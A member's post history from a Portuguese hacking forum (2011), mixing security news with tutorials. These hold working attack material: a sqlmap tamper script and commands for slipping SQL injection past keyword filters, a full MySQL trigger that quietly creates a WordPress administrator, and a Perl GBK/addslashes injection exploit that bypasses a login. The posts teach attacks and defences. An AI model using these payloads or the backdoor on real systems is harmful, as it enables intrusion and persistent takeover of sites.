Menu

Show posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.

Show posts Menu

Messages - Fvox

#1
Além da vergonha, ainda restou também um pouco de saudades... =p

[]'s
#2
C/C#/C++ / OWASP Top 10 para desenvolvedores .NET
19 de December , 2011, 03:20:59 PM
Hi.

Depois do grande sucesso do projeto OWASP Top Ten que consiste em um guia que lista as 10 principais vulnerabilidades web e suas devidas correções, o pesquisador Troy Hunt acaba de lançar o OWASP Top 10 for .NET developers.

O guia lida com as principais vulnerabilidades, bypasses, browsers, criptografia, configuração do framework e muito mais!




O download do arquivo PDF pode ser feito clicando aqui [dl.dropbox.com].

Não sou mais apto ao framework .NET, mas garanto que foi uma bela iniciativa do Troy Hunt. O material é realmente muito bom, bem como todos os outros da OWASP Foundation. ;-)


Referência: http://unsecurity.com.br/owasp-top-10-para-desenvolvedores-net/
#3
JavaScript / Re:Obfuscando JavaScripts com o Metasploit
21 de November , 2011, 09:37:21 AM
É bom, mas não tem a ver com ofuscação de código. =o

[]'s
#4
JavaScript / Re:Obfuscando JavaScripts com o Metasploit
18 de November , 2011, 09:09:15 AM
Quote from: PH. on 18 de November , 2011, 07:25:47 AM
é possivel desofuscar ?

Nops.
Os nomes de variáveis e métodos são totalmente randômicos. Sem contar os inteiros são trocados por strings, etc. Assim, só seria possível desofuscar um pequeno pedaço do código.

[]'s
#5
Pedidos / Re:Livro Perl Como Programar
17 de November , 2011, 11:24:14 AM
Sei que o último post aí de cima foi up, mas a discussão é boa.

Eu trabalho com Perl, mantenho sistemas em Perl e desenvolvo novos. Perl não é uma linguagem extinta. Temos uma comunidade muito forte e uma linguagem poderosa tanto para web como desktop.
Aposto que vocês conhecem sites e empresas que utilizam Perl mas não sabem. Exemplos? estantevirtual.com.br, jacotei.com.br e o que eu tenho certezas que todos conhecem... Youporn que é feito com o framework Catalyst. =p

[]'s
#6
Penetration Tests / Burlando WAFs com o sqlmap
26 de October , 2011, 11:31:58 AM
Hi.

Alguma vez na vida com certeza nos deparamos com programadores que tentam se proteger contra SQL Injection através de keywords. Acham que verificando se o parâmetro capturado do cliente contém alguma keyword SQL já estarão protegidos. Será mesmo que eles estarão certos? ;-)

Uma das features mais interessantes do magnífico projeto sqlmap são os tamper scripts. São scripts em Python que te possibilitam modificar o payload da forma que você preferir. Sendo assim, conseguimos automatizar a tarefa e burlar filtros de modo simples e rápido, sem perder qualquer utilidade oferecida pelo SQLMap.

Por default, o SQLMap já vem com uma gama de scripts que ficam dentro do diretório tamper/*.py. Todos os scripts vem bem comentados, o que facilita ainda mais o entendimento.

Nesta matéria, irei demonstrar um pouco do uso dos tamper scripts, desde o uso até a criação dos mesmos.





Para demonstração da matéria, criei um sistema de notícias simples apenas para testarmos os scripts de forma rápida e sem prejudicar ninguém.

Query executada pelo sistema de notícias:
<?php
$sql 
'SELECT * FROM noticias WHERE id = ' $_GET['id'];


Como vimos, não há tratamento nenhum. Apenas executamos diretamente no banco o parâmetro recebido do cliente pelo método GET.
Inserindo uma aspa simples, já conseguimos quebrar a query:

Quote127.0.0.1 - - [26/Oct/2011:09:59:28 -0200] "GET /news/?id=2' HTTP/1.1" 200 202

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1


Agora, vamos inserir um filtro básico, parecido com o que alguns IDS utilizam.

<?php
if(preg_match('/\s/'$_GET['id']))
    die(
'Hacking Attempt');



Isso verificaria se há espaços no parâmetro GET antes de enviar a consulta. O sqlmap por default adiciona vários. Poxa, vou ter que explorar isso na mão?

Quote:~/sqlmap-dev$ python sqlmap.py -o -u "http://localhost/news/?id=2" --dbs
[...]
[10:09:12] [WARNING] GET parameter 'id' is not injectable
[10:09:12] [CRITICAL] all parameters appear to be not injectable. Try to increase --level/--risk values to perform more tests. Also, you can try to rerun by providing either a valid --string or a valid --regexp, refer to the user's manual for details


Consigo burlar isso manualmente substituindo os espaços para /**/ na query. Mas o sqlmap não faz isso... Oh, wait! Faz sim.

Quote:~/sqlmap-dev$ python sqlmap.py --tamper "tamper/space2comment.py" -o -u "http://localhost/news/?id=2" --dbs
[...]
[10:11:53] [INFO] loading tamper script 'space2comment'
[...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
[...]
[10:12:10] [INFO] fetching database names
[10:12:10] [INFO] the SQL query used returns 7 entries


Porém, WAFs ou aplicativos de routes como o mod_rewrite bloqueiam quaisquer tentativa de inserção de "/**/" ou "+" vindos do cliente. E agora, fvox? :O

Para burlar isso, podemos utilizar "" ao invés dos "/**/". Mas o space2comment.py não faz isso automaticamente.
Vamos melhorar esse filtro pra ver na prática...

<?php
if(preg_match('/(\s|\/\*\*\/|\+)/'$_GET['id']))
    die(
'Hacking Attempt');



É, já não funciona mais...
Quote[10:30:11] [INFO] loading tamper script 'space2plus'
[10:30:13] [WARNING] GET parameter 'id' is not injectable

Triste, né?
Mas vamos criar nosso próprio script para fazer o replace...

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOWEST

def dependencies():
    pass

def tamper(payload):
    if payload:
        payload = payload.replace("/**/", "");
        payload = payload.replace("+", "");
    return payload


Simples, não é mesmo?
Será que funciona?

Quote:~/sqlmap-dev$ python sqlmap.py --tamper "tamper/space2plus.py,tamper/fvox.py" -o -u "http://localhost/news/?id=2" --dbs
[...]
[10:31:50] [INFO] loading tamper script 'space2plus'
[10:31:50] [INFO] loading tamper script 'fvox'
[...]
[10:31:51] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[...]
[10:31:51] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[...]
[10:32:01] [INFO] GET parameter 'id' is 'MySQL > 5.0.11 AND time-based blind' injectable
[...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] n
[...]
[10:32:30] [INFO] fetching database names
[10:32:30] [INFO] the SQL query used returns 7 entries


É, conseguimos! ;-)

Por enquanto é isso aí.
Bons estudos!


Referência: http://unsecurity.com.br/burlando-wafs-com-o-sqlmap/

[]'s
#7
Você sempre quis uma interface gráfica para o Metasploit que seguisse o estilo do Metasploit Pro? Pois bem. A Rapid7 acabou de anunciar o seu mais novo produto: Metasploit Community Edition.

O nome é uma homenagem à comunidade, pois a aplicação foi feita em conjunto com a comunidade graças ao open source. ;-)
A ferramenta é free, basta apenas pedir uma product key logo após a instalação.





Só não se esqueçam de selecionar a opção Community Edition, pois as outras são pagas, com exceção do Metasploit framework.
Download: metasploit.com


Referência: http://unsecurity.com.br/metasploit-community-edition/

[]'s
#8
Malware | Cracking | Hacker Tools / MySQL Trigger Backdoor
21 de October , 2011, 09:07:18 AM
Hi.

Imagina que você tem um blog WordPress, e um belo dia, ele é invadido.
Você atualiza o CMS, atualiza o PHP, atualiza todos os serviços da máquina, troca todas as senhas, remove todos os plugins, sai do host compartilhado e vai para um dedicado e o seu blog continua sendo hackeado.

Quote"Wtf????? O que está acontecendo com o meu site?"

Você pode estar com uma backdoor dentro do seu DBMS. Claro, não é uma backdoor com sockets e tudo mais. Na realidade é uma trigger que adiciona um administrador sempre que um evento acontece.

Como exemplo, segue uma trigger feita pelo ack ack, disparada sempre que há um insert na table wp_comments.

DROP TRIGGER IF EXISTS wordpress;
DELIMITER $$
CREATE TRIGGER wordpress BEFORE INSERT ON wp_comments FOR EACH ROW BEGIN
SET @USER = 'Almroot';
SET @HASH = '$P$BLZ4pYXIwQcGazytSj0r4Xy5BHVlY30'; #The hash stands for 'hacked'.
SET @DATE = '2011-09-24 13:37:00';
IF NEW.comment_author = @USER THEN
SET NEW.comment_post_ID = 0;
SET NEW.comment_approved = 'spam';
SET NEW.comment_agent = '';
SET NEW.comment_author_IP = '::1';
SET NEW.comment_content = '';
SET @ID = (SELECT COUNT(ID) FROM wp_users WHERE user_login = @USER LIMIT 1);
IF @ID = 0 THEN
INSERT INTO wp_users () VALUES (NULL,@USER,@HASH,@USER,NEW.comment_author_email,NEW.comment_author_url,@DATE,'','0',@USER);
SET @ID = (SELECT ID FROM wp_users WHERE user_login = @USER LIMIT 1);
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'first_name', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'last_name', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'nickname', @USER);
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'description', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'rich_editing', 'true');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'comment_shortcuts', 'false');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'admin_color', 'fresh');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'use_ssl', '0');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'show_admin_bar_front', 'true');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'show_admin_bar_admin', 'false');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'aim', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'yim', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'jabber', '');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'wp_user_level', '10');
INSERT INTO wp_usermeta () VALUES (NULL, @ID, 'wp_dashboard_quick_press_last_post_id', '3');
ELSE
SET @ID = (SELECT ID FROM wp_users WHERE user_login = @USER LIMIT 1);
UPDATE wp_users SET user_login = @USER, user_pass = @HASH, user_nicename = @USER, user_email = NEW.comment_author_email, user_url = NEW.comment_author_url, user_registered = @DATE, user_status = 0, display_name = @USER WHERE ID = @ID;
UPDATE wp_usermeta SET meta_value = 'a:1:{s:13:"administrator";s:1:"1";}' WHERE meta_key = 'wp_capabilities';
UPDATE wp_usermeta SET meta_value = '10' WHERE meta_key = 'wp_user_level';
UPDATE wp_usermeta SET meta_value = '3' WHERE meta_key = 'wp_dashboard_quick_press_last_post_id';
END IF;
END IF;
END;
$$



Interessante, não?
Quem espera estar sendo invadido por uma trigger dentro da database? =P

Referência: http://unsecurity.com.br/mysql-trigger-backdoor/

[]'s
#9
Há uns dois dias atrás eu comecei a fazer um script que seria uma ferramenta para detectar os prováveis tipo da criptografia na string, e futuramente, implementar módulos para crackear diversos tipos.

Programei por 20 minutos e lembrei que havia visto uma ferramenta que crackeava as hashs há um tempo atrás, mas nunca mais tinha usado.
O nome do projeto que me veio a memória foi o
findmyhash, um script em python que busca em diversos bancos de dados online. Além de procurar por algum resultado dentro do Google. ;-)

Fui testar a versão mais atual que foi lançada no dia 5 de outubro deste ano. Ele suporta uma hash única passada por parâmetro (-h) ou uma lista de hashs. (-f).
Ele não "adivinha" qual o tipo de hash. Mas pensando bem, foi uma idéia de girico minha tentar crackear todos os tipos possíveis.

O help do aplicativo é excelente. Acho que vocês não terão dificuldades em lidar com ele. :-)


Lista de criptografias suportadas:
  • MD4 – RFC 1320
  • MD5 – RFC 1321
  • SHA1 – RFC 3174 (FIPS 180-3)
  • SHA224 – RFC 3874 (FIPS 180-3)
  • SHA256 – FIPS 180-3
  • SHA384 – FIPS 180-3
  • SHA512 – FIPS 180-3
  • RMD160 – RFC 2857
  • GOST – RFC 5831
  • WHIRLPOOL – ISO/IEC 10118-3:2004
  • LM – Microsoft Windows hash
  • NTLM – Microsoft Windows hash
  • MYSQL – MySQL 3, 4, 5 hash
  • CISCO7 – Cisco IOS type 7 encrypted passwords
  • JUNIPER – Juniper Networks $9$ encrypted passwords
  • LDAP_MD5 – MD5 Base64 encoded
  • LDAP_SHA1 – SHA1 Base64 encoded


Download da versão mais atual: findmyhash

Good hacking! ;-)


Referência: http://unsecurity.com.br/crackeando-hashs-com-o-findmyhash/

[]'s
#10
JavaScript / Obfuscando JavaScripts com o Metasploit
21 de October , 2011, 09:00:41 AM
Hi.

Neste post irei apresentar o novo método do módulo JSObfu do Metasploit.
A parte mais fácil é que agora, ao invés de receber uma hash como parâmetro, o módulo pode receber diretamente uma string.

Como exemplo, irei obfuscar uma função boba que fiz agora:

function fvox(s) {
r = 0;
len = s.length;
for(i = 0; i < len; i++)
r += s.charCodeAt(i);
return parseInt(r) * len;
}
alert(fvox('SYNYSTER'));



Vamos ver como fica? :-)




Resultado:

function BPRCZfHnCpf(RpPzsaHjymFohz){r = ('i'.length - 1);len = RpPzsaHjymFohz.length;for(i = ('qIpWyVzoHR'.length - 10); i < len; i++) r += RpPzsaHjymFohz.charCodeAt(i);return parseInt(r) * len;}alert(BPRCZfHnCpf(String.fromCharCode(0x53,0x59,0116,0x59,0x53,0x54,0x45,82)));


Claro que não existe proteção client-side, e pelo amor, não confiem nisso pra nada envolvendo login.

Também deixo claro que ele adiciona umas chamadas de funções a mais, em especial, o length. Ou seja, isso não optimiza os scripts, apenas os obfusca!


Referência: http://unsecurity.com.br/obfuscando-javascripts-com-o-metasploit/

[]'s
#11
Darkers News / Re:News / Manutenção / Pesquisa
29 de August , 2011, 08:56:09 AM
Hi.

Algum tipo de Darkers Mobile está por vir? Hmm, interessante!
Infelizmente roubaram meu celular. Providenciarei um o mais rápido possível. :'(

[]'s
#12
Eventos / Re:Google Developer Day 2011
26 de August , 2011, 03:34:31 PM
QuoteParabéns! Sua inscrição no Google Developer Day Brasil 2011 está confirmada.

Fuck yeah!

[]'s
#13
Eventos / Inscrições abertas para o H2HC 8th Edition
25 de August , 2011, 09:30:53 AM



Hi.

Um dos maiores eventos sobre segurança da atualidade teve suas incrições abertas hoje. O Hackers To Hackers Conference (H2HC) conta com diversos palestrantes nacionais e internacionais, e conta com o apoio de toda a comunidade de segurança da informação.

O preço das inscrições ainda é promocional, portanto, quem pretende ir, recomendo aproveitar.

A lista de palestrantes confirmados pode ser vista em:
http://www.h2hc.org.br/index.php

O evento acontecerá na na Amcham Business Center São Paulo - SP, nos dias 29 e 30 de outubro de 2011.

Para realizar sua inscrição, clique aqui.

[]'s
#14
Sugestões / Reformulação de subcategorias
19 de August , 2011, 03:17:14 PM
Hi.

É um certo "costume" os fóruns de hacking misturarem a categoria da linguagem C# com C e C++.

Aproveitando a intenção do Reeves de removimentar o fórum, que tal ser criada a subcategoria ".NET Framework" dentro da categoria Programação?
Assim, tópicos relacionados à ASP.NET poderiam ser removidos da subcategoria ASP; tópicos relacionados à C# poderiam ser removidos da subcategoria C/C#/C++; tópicos relacionados à VB.NET poderiam ser removidos da subcategoria Visual Basic. Pois, todas as linguagens citadas, apesar de nomes parecidos, não possuem muita relação entre si.

Com o crescimento e popularização da plataforma, é imprescindível a mudança no fórum.

[]'s
#15
__________
. Introdução\______________________________________


Hi.

Quando foi descoberto este ataque bobo de ' or '1'='1, muita gente recorreu a função addslashes() para a proteção, ou até mesmo a diretiva magic_quotes_gpc, cuja escapa (adiciona \ antes das aspas nos métodos GET, POST E COOKIE) automaticamente à cada requisição.
Ainda em 2006, um pesquisador chamado Chris Shiflett descobriu um bug que, conforme a configuração do MySQL, acaba "cancelando" a adição do escape na aspa.


_____________
. Vulnerabilidade\__________________________________


A falha acontece na codificação GBK, que é uma extensão da codificação GB 2312 (Guojia Biaozhun), utilizada na China.

O que acontece, basicamente, é que na codificação GBK a sequência de caracteres \xbf\x27 é interpretada como single-byte. Ou seja, ao injetar isso, a função addslashes() transformará a string em 0xbf5c27 que apesar de ser multibyte, a string 0xbf5c será interpretada como um único byte, liberando as single-quotes (\x27).

Se você for testar em localhost como eu, provavelmente você terá que trocar o default-character-set no my.cnf para GBK, que fica na sessão [client] do arquivo my.cfn, que fica no /etc/ ou /etc/mysql/. ;-)

__________
. Praticando\______________________________________


Primeiro vamos criar o banco de dados na base.
CREATE DATABASE `fvox`; --Se voce nao modificou o my.cfn, entao DEFAULT CHARACTER SET...

Criando as tabelas:

CREATE TABLE login (
    usuario VARCHAR(10) CHARACTER SET GBK,
    senha VARCHAR(15) CHARACTER SET GBK,
);



Para utilizar o exemplo do tutorial, preciso inserir na tabela algumas informações de login:
INSERT INTO login (`usuario`, `senha`) VALUES ('fvox', 'invaders');

Simulando um sistema de login:
<?php
if(!isset($_POST['user']) && !isset($_POST['passwd'])){
?>

<html>
<body>
    <center>
        <form action="" method="POST">
            Usuario: <input name="user" type="text"><br>
            Senha: <input name="passwd" type="password"><br>
            <input type="submit" value="Enviar">
        </form>
    </center>
</body>
<?php
}
else {
    
mysql_connect('localhost''root''');
    
mysql_select_db('fvox');
    
$r mysql_query(sprintf('SELECT * FROM login WHERE usuario = \'%s\' AND senha = \'%s\''addslashes($_POST['user']), addslashes($_POST['passwd'])));
    if(
mysql_fetch_array($r)) # ((bool) array() == FALSE)
        
echo 'Logado com sucesso!';
    else
        echo 
'Usuario e/ou senha incorretos!';
    
mysql_close();
}
?>



Tudo o precisamos fazer para exploitar isso, seria uma request do tipo:
QuotePOST /fvox.php?user=fvox&passwd=EXPLOIT HTTP/1.1...

O problema é que se você injetar isso na mão pelo browser, é provável que você tenha seus bugs por causa da codificação.

Ou seja, podemos fazer algo em Perl pra automatizar essa parada na base do replace mesmo. Por exemplo:
#!/usr/bin/env perl

$_ = '\' or \'1\'=\'1';
s/\x27/chr(0xbf).chr(0x27)/ge;
print;


Sendo assim, podemos utilizar a lib cURL e criar um exploit que automatiza tudo:

#!/usr/bin/env perl

use common::sense;
use WWW::Curl::Easy;

sub cURL {
    my ( $url, $header, $post ) = @_;
    my $curl = WWW::Curl::Easy->new;
    $curl->setopt( CURLOPT_HEADER,         $header // 0 );
    $curl->setopt( CURLOPT_NOBODY,         $header // 0 );
    $curl->setopt( CURLOPT_URL,            $url );
    if(defined $post) {
        $curl->setopt( CURLOPT_CUSTOMREQUEST, $post ? 'POST' : 'GET' );
        $curl->setopt( CURLOPT_POST,          1 );
        $curl->setopt( CURLOPT_POSTFIELDS,    $post );
    }
    my $r;
    $curl->setopt( CURLOPT_WRITEDATA, \$r );
    return ( $curl->perform == 0 ) ? $r : 0;
}

my $xpl = '\' or \'1\'=\'1';
$xpl =~ s/\x27/chr(0xbf).chr(0x27)/ge;
say cURL('http://localhost/invaders/', 1, 'user=fvox&passwd=' . $xpl);



Response:
HTTP/1.1 200 OK
...
Content-Type: text/html

Logado com sucesso!



__________
. Finalizando\______________________________________


Como vimos, não podemos confiar muito na função addslashes(). É por isso que é extremamente recomendável utilizar a função mysql_real_escape_string() ou a extensão PDO (PHP Data Objects) com as funções prepare() antes de realizar uma consulta onde haja um input direto do usuário.

Enjoy ur pwnz!

[]'s